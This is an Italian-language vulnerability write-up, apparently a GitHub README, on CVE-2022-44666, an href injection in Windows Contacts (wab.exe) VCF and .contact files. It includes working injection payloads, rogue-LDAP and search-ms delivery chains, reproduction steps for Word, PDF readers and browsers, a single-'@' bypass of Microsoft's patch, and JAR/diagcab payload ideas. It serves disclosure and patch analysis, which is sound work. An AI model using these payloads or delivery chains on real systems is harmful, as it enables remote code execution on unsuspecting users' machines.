
Analisi tecnica e proof-of-concept per CVE-2022-44666, una vulnerabilità di escape dell'attributo href nel controllo Syslink di Windows Contacts che consente l'esecuzione remota di codice tramite file VCF/.contact appositamente predisposti e il gestore di protocollo LDAP.
Questa è la storia di un altro 0day dimenticato, divulgato completamente più di 4 anni fa da John Page (aka hyp3rlinx). Per capire il report, devi considerare che sono stupido :-) E la mia stupidità mi spinge a percorrere strade più lunghe per risolvere problemi semplici, ma mi porta anche a trovare altri modi per sfruttare alcuni bug. Perché dico questo? Perché non sono riuscito a capire subito che il modo per creare un file .contact è semplicemente navigare fino alla cartella Contatti per creare il contatto; invece di questo, ho usato queste informazioni per creare prima un file VCF e poi ho erroneamente pensato che fosse una sorta di variante. Questo anche perché il mio cervello non riesce a capire come alcuni 0day vengano dimenticati per così tanto tempo ¯\(ツ)/¯ Una volta fatto ciò e dopo le risposte "wontfix" di MSRC e ZDI, sono state fatte ulteriori indagini per aumentare la gravità, arrivando infine ai file .contact e al gestore di protocollo URL di Windows "ldap".
Mentre stavo leggendo il codice dell'exploit per questa vulnerabilità che è stata effettivamente rilasciata come 0day ed è possibile trovare il rapporto di ZDI.
Aggiornamento 2022/07/21: Dopo aver segnalato questo caso a Microsoft, i ragazzi di MSRC mi hanno giustamente fatto notare che Windows Contacts non è il programma predefinito per aprire i file VCF.

Ulteriori ricerche dimostrano comunque che il programma predefinito per i file VCF su Win7 ESU e WinServer2019 è Windows Contacts (wab.exe), altrimenti viene usato MS People (PeopleApp.exe). Ecco una tabella completa di questo test:
In ogni caso, insistono sul fatto che ci sia un po' di social engineering coinvolto, come aprire un file VCF appositamente predisposto e cliccare su alcuni link per sfruttare il bug, quindi non soddisfa i criteri MSRC per un aggiornamento di sicurezza.

Aggiornamento 2022/07/25: Bene, dopo ulteriori ricerche, è lo stesso bug. Alla fine sono riuscito a trovare una proof of concept per .contact. In realtà è possibile analizzare correttamente un file .contact usando entità HTML. Nota che questo risolve il problema precedente (Aggiornamento 2022/07/21) e questo formato di file (.contact) viene aperto da Windows Contacts, programma predefinito per questa estensione di file, anche quando MS Office è installato nel sistema. Serve solo una prima associazione di file se non è ancora stata fatta, ma l'unico programma installato per impostazione predefinita per farlo è Windows Contacts.
Aggiornamento 2022/07/25: Questa ulteriore ricerca mi ha portato a un punto che cercavo di raggiungere da tempo: usare un gestore di protocollo URL per aprire automaticamente dati di contatto appositamente predisposti e sfruttare il bug. Alla fine sono riuscito a farlo funzionare grazie allo schema URI ldap, che è associato per impostazione predefinita all'applicazione Windows Contacts. Quindi, basta configurare un server LDAP rogue e servire i dati del payload negli attributi mail, url o wwwhomepage; l'impatto dello sfruttamento aumenta perché ora non serve fare doppio clic su un file VCF/Contact malintenzionato: possiamo fornirlo tramite protocolli URL.
Aggiornamento 2023/02/08: Come gesto di buona volontà da parte di MSRC, John Page (aka hyp3rlinx) è stato incluso nella pagina dei ringraziamenti per la scoperta di CVE-2022-44666.

La segnalazione è sostanzialmente la stessa dei link sopra, tuttavia ho migliorato un po' il social engineering coinvolto. In effetti, la prima cosa che ho fatto è stata migliorare il modo in cui i link vengono visualizzati, proprio come se fosse una vulnerabilità XSS; in realtà è un'iniezione HTML, quindi è possibile chiudere il primo elemento anchor e inserirne uno nuovo. Poi, ho voluto rimuovere la visibilità di quegli elementi HTML, quindi impostare un "innerHTML" il più lungo possibile sarebbe bastato a nasconderli (a causa dei limiti di caratteri).
Questo è il payload finale usato:```html URL;WORK:">CLICKMEEEEE...
Per osservare cosa succede, esegui procmon e configura un target fittizio per l'attributo href in questo modo:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Una volta cliccato il link, in procmon si osserva un output come questo:

Questo è lo stacktrace per la prima operazione "CreateFile":``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
Impostando un breakpoint in **Shell32!ShellExecuteExW**, possiamo avere un quadro più chiaro delle funzioni coinvolte:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
E lo pseudo-codice coinvolto è il seguente:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
Dopo questo, è chiaro che il problema in realtà coinvolge i [controlli SysLink nella libreria comctl32.dll][R.6] e come l'attributo href viene analizzato dalla libreria wab32.dll.
Non è possibile utilizzare posizioni condivise remote o webdavs per sfruttare questo problema.```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
Le informazioni sul file vengono interrogate ma non vengono mai eseguite.

È possibile utilizzare percorsi relativi come:```html URL;WORK:">CLICKMEEEEE...

Esempio:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>

Andando oltre, durante il test di rundll32 come vettore d'attacco, ho notato che non era possibile usare argomenti con l'eseguibile payload selezionato. Tuttavia, usando un file lnk che punta a un eseguibile scelto, era possibile usare argomenti della riga di comando. È un po' complicato, ma funziona.```html URL;WORK:">CLICKMEEEEE...
Destinazione di run.lnk:```
rundll32.exe hidden\payload.bin,Foo"

Questo sembra più interessante perché non è necessario rilasciare un eseguibile nel sistema di destinazione.
Esecuzione di codice remoto come utente corrente connesso.
Deve esistere un'associazione di file per utilizzare Windows Contacts per aprire i file .vcf.
Aggiornamento 2021/07/25: Per i file Contact (.contact) esiste una sola applicazione che li apre per impostazione predefinita: Windows Contacts, anche quando MS Office è installato nel sistema di destinazione.
Utilizzando i file situati in ./report-pocs/:
Ci sono un paio di video allegati in ./videos:


Questo è un riepilogo dei file proof of concept situati in ./report-pocs/:
E i file situati in ./src:
Per un ulteriore sfruttamento, e poiché la vulnerabilità non consente di caricare file da posizioni di condivisione remote, il protocollo URI "search-ms" è un vettore interessante. Troverai proof of concept che attivano solo un binario locale come calc o notepad e proof of concept più complessi che ho chiamato exploit weaponized, perché non eseguono file locali. Questi poc ed exploit si trovano in ./further-pocs/.
Questo è un riepilogo delle applicazioni target:
Per riprodurre:
Configurare una posizione di condivisione remota (SMB o WebDav). Copiarvi il contenuto di ./further-pocs/to-copy-in-remote-shared-location/.
Se si desidera, nascondere i file eseguendo ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
Modificare il file exploit.html/poc.html situato in ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ per puntare alla propria posizione di condivisione remota.
Avviare un server web nel percorso dell'applicazione target, ovvero: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.
Eseguire i file poc/exploit a seconda del caso.
Per ulteriori informazioni, guardare i video situati in ./videos:




Inoltre, questi sono tutti i file per un ulteriore sfruttamento:
Dopo aver ricevuto Aggiornamento 2022/07/21 da MSRC, ho deciso di dare un'occhiata all'estensione dei file Contact, poiché avrebbe confermato se si trattasse o meno dello stesso caso trovato dallo scopritore originale, e ovviamente lo è. Il mio primo proof of concept consisteva semplicemente nell'usare un formato di file diverso, ma il bug è lo stesso. Usando semplicemente wabmig.exe situato in "C:\Program Files\Windows Mail" è possibile convertire tutti i file VCF in file Contact.

E come menzionato negli aggiornamenti introduttivi, questi file vengono aperti da Windows Contacts (programma predefinito).
I passaggi per riprodurre sono gli stessi usati per i file VCF. Le stesse restrizioni osservate sui file VCF si applicano ai file Contact, cioè non è possibile utilizzare posizioni di condivisione remote per l'attributo "href", ma è comunque possibile utilizzare percorsi locali o il protocollo URL "search-ms".
Questi sono tutti i file aggiunti o modificati per sfruttare i file Contact:
Come accennato sopra, questa ulteriore ricerca mi ha portato a raggiungere un punto che cercavo di raggiungere da tempo: utilizzare un gestore di protocolli URL per aprire automaticamente dati di contatto appositamente predisposti al fine di sfruttare il bug. Questa sfida è stata finalmente raggiunta grazie allo schema URI ldap.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
Cioè:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
Quindi semplicemente impostando un server LDAP rogue e servendo i dati del payload, è possibile usare questo gestore di protocollo url per avviare Contatti di Windows (wab.exe) con un payload dannoso negli attributi ldif mail, url o wwwhomepage. Nota che non sono riuscito a farlo funzionare con l'attributo "wwwhomepage" come indicato qui, ma teoricamente dovrebbe funzionare.
Il contenuto ldif costruito è semplicemente qualcosa del genere:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
E il codice per il server LDAP rogue è stato preso in prestito dal server di avvio rapido del progetto ldaptor, situato [qui][R.9].
Questa è una sintesi delle applicazioni target:
* Browser: MS Edge, Google Chrome, Mozilla Firefox e Opera.
* MS Word.
* Lettori PDF (principalmente Adobe Acrobat Reader DC e Foxit PDF Reader).
I passaggi per riprodurre sono:
1. Copiare [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) in una posizione condivisa remota (SMB o WebDav).
2. Se desiderato, nascondere i file eseguendo [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat).
3. Installare ldaptor tramite pip: pip install ldaptor. Nota: è stato testato su Python 2.7 x64.
4. Avviare il server LDAP rogue situato in [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py)
5. Avviare un webserver nel percorso dell'app target, cioè: ./further-pocs/[vettore o app target]/url-protocol-ldap/.
6. Eseguire i file exploit a seconda del caso.
7. Per ulteriori informazioni, guardare i video situati in [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos):
- 7.1. Per i browser: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif).

- 7.2. Per MS Word: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif).

- 7.3. Per i lettori PDF: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif).

Questi sono i file aggiuntivi per sfruttare il protocollo URL ldap:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): file HTML per caricare il protocollo URL ldap su un server LDAP rogue che restituisce dati appositamente costruiti per mail e URL.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): modello remoto, noto anche come htmlfile activex, per caricare il protocollo URL ldap su un server LDAP rogue che restituisce dati appositamente costruiti per mail e URL.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): file Word in formato RTF che attiva un modello remoto, noto anche come htmlfile activex.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): file Word in formato DOCX che attiva un modello remoto, noto anche come htmlfile activex.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): file HTML per caricare il protocollo URL ldap su un server LDAP rogue che restituisce dati appositamente costruiti per mail e URL.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): PDF che attiva il browser predefinito per eseguire il protocollo URI "ldap".
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): script Python basato sull'esempio di server per ldaptor, che gira su Python 2.7 e fornisce i dati appositamente costruiti per sfruttare il bug tramite gli attributi ldif mail, url e wwwhomepage.
## CVE-2022-44666: analisi della patch e correzione incompleta
Il 13 dicembre 2022 Microsoft ha rilasciato la patch per questa vulnerabilità come [CVE-2022-44666][R.10].
Le versioni utilizzate per il diffing della patch (situate in C:\Program Files\Common Files\System\wab32.dll) sono state:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-patch)
+ MD5: D1708215AD2624E666AFD97D97720E81 (post-patch)
Eseguendo il diffing della libreria interessata (wab32.dll) con [Diaphora][R.11] di [@matalaz][R.12], troviamo alcune nuove funzioni:

E questi sono i match parziali:

Dando un'occhiata al nuovo codice nella funzione "fnSummaryProc":```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
Dopo la correzione, il nuovo codice chiama la funzione "SafeExecute" (2) o mostra una finestra di messaggio (4).

Per raggiungere la chiamata della funzione "SafeExecute" (2) è possibile seguire il flusso del codice in (1):```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
Questa funzione controlla prima se l'[URL è valido in (5)][R.13], poi verifica se inizia con "http" o "https" in (6). Questo percorso di codice sembra abbastanza sicuro. Tornando alla funzione "fnSummaryProc", c'è un altro percorso di codice che potrebbe aiutare a bypassare la correzione in (3).```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
Una cosa che ha attirato la mia attenzione in (7) è che il codice controlla se esiste un carattere "@". Poi, chiama la funzione "IsDomainName" per verificare se la stringa dopo il carattere "@" è un nome di dominio:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
Quindi l'elusione della correzione è piuttosto semplice. Basta usare un singolo carattere "@". Attributi href di symlink come questi eluderanno con successo la correzione:```html
hidden\@payload.lnk
hidden\@payload.exe

La proof of concept si trova in ./bypass/report-pocs.
E un'altra per protocollo URL di MS Word e LDAP.

La proof of concept si trova in ./bypass/further-pocs.
Un giorno dopo il rilascio della patch, queste informazioni sono state inviate a MSRC. Sfortunatamente, il caso è stato recentemente chiuso senza ulteriori informazioni.

Dopo CVE-2022-30190 nota anche come vulnerabilità Follina e CVE-2022-34713 nota anche come vulnerabilità DogWalk, una tecnica pubblicamente nota ma sottovalutata è rinata di nuovo grazie a @buffaloverflow. Il mio amico e collega Eduardo Braun Prado mi ha dato l'idea di usare questa tecnica qui.
Ci sono alcuni prerequisiti per farlo:
Uno scenario di attacco reale consisterebbe nel rubare un certificato di firma del codice effettivamente installato nel sistema di destinazione. Ma poiché questa è solo una proof of concept, è stato generato un certificato di firma del codice autofirmato e utilizzato per firmare il file diagcab chiamato @payload.diagcab.
Quindi, per riprodurre, è necessario installare il certificato situato in cert.cer nell'Autorità di certificazione radice attendibile come mostrato qui:

Per elevare infine i privilegi, si potrebbe usare un furto/impersonificazione di token. In questo caso, la tecnica del "parent process" è stata quella scelta. Una versione modificata di questo script è stata inclusa negli script resolver.
Per ulteriori informazioni, c'è un video per protocollo URL di MS Word e LDAP.

La proof of concept si trova in ./bypass/diagcab-pocs.
Aggiornamento 2023/06/19: Dopo aver letto il post su "ZipJar" di @pfiatde, questa interessante informazione rende i file JAR un buon candidato da usare come payload in questa vulnerabilità, che tra l'altro è ancora 0day oggi, poiché il MotW viene ignorato e non richiede di accettare alcun prompt.
Il payload JAR è stato preso dal repository GitHub calc_security_poc.
Ecco qui allegato un piccolo builder, create-poc.py per creare il tuo POC a partire da qualche template.

Non dimenticate di ringraziare @microlovu e @mlftsecresponse. 😂
Ricordate il codice vulnerabile nella funzione "fnSummaryProc":```cpp ... LABEL_44: SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute return 1i64; } } else { if ( v23 ) v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@" else v32 = 0; v29 = v7; if ( v32 ) { v30 = v23; goto LABEL_44; } } ...
La funzione "IsInternetAddress" è stata creata intenzionalmente per verificare se l'attributo href corrisponde a un indirizzo email. Quindi la mia correzione proposta (e seguendo le funzioni importate che la libreria usa) sarebbe:```cpp
...
if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
{
v30 = v23;
goto LABEL_44;
}
...
Così semplice: è solo necessario verificarlo prima di chiamare "SafeExecute". Basta testare se la stringa target (v23) inizia con "mailto:" e il bug sarebbe completamente risolto IMHO.
Alcuni giorni/settimane fa, quando ho contattato @mkolsek di 0patch per informarlo di questo problema, che tra l'altro è sempre molto gentile con me, mi ha detto che da allora è disponibile un fix non ufficiale per Windows 7 (4 anni fa). È stata una sorpresa e una bella notizia!
È stato testato e ha bloccato con successo la nuova variante di CVE-2022-44666. Il micropatch antepone "http://" alla stringa controllata dall'attaccante passata dall'attributo href se non inizia con "mailto:", "http://" o "https://", il che è sufficiente a risolvere completamente il problema. Ora verrà esteso alle ultime versioni di Windows, è solo necessario aggiornare alcuni offset.

In ogni caso, sarebbe meglio avere una patch ufficiale.
Di @j00sean

